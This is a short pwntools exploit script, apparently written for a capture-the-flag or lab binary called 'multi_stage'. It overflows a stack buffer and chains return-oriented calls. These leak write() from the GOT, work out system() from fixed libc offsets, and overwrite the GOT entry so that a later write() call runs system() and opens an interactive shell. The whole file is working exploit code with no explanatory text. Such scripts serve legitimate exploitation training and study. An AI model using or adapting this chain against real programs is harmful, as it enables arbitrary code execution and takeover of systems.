#!/usr/bin/python


from pwn import *


write_plt = 0x08049060
write_got = 0x804c014
read_plt = 0x08049040
pop_pop_pop_ret = 0x08049251
ed_string = 0x8048299

# libc offsets
offset___libc_start_main_ret = 0x1f08e
offset_puts = 0x00071380
offset_system = 0x000456e0
offset_dup2 = 0x000f5f50
offset_read = 0x000f51b0
offset_write = 0x000f5270
offset_str_bin_sh = 0x195108

def main():
    p = process("./multi_stage")

    # stage 1: leak write@libc
    payload = b"A" * 28

    payload += p32(write_plt)
    payload += p32(pop_pop_pop_ret)
    payload += p32(1)
    payload += p32(write_got)
    payload += p32(4)

    # stage 3: send system@libc to overwrite write@libc (which stores in write@got)
    payload += p32(read_plt)
    payload += p32(pop_pop_pop_ret)
    payload += p32(0)
    payload += p32(write_got)
    payload += p32(4)

    # stage 4: execute command and get shell
    payload += p32(write_plt) # call write() --> call system()
    payload += p32(0xdeadbeef)
    payload += p32(ed_string)




    p.send(payload)


    # stage 1: leak write@libc
    p.recv(16)
    data = p.recv(4)
    write_libc = u32(data)
    log.info("Leaked write@libc addr: 0x%x", write_libc)
    # stage 2: find system@libc
    libc_start_addr = write_libc - offset_write
    system_libc = libc_start_addr + offset_system
    log.info("system@libc addr: 0x%x", system_libc)

    # stage 3: send system@libc to overwrite write@libc (which stores in write@got)
    p.send(p32(system_libc))




    p.interactive()


if __name__ == "__main__":
    main()
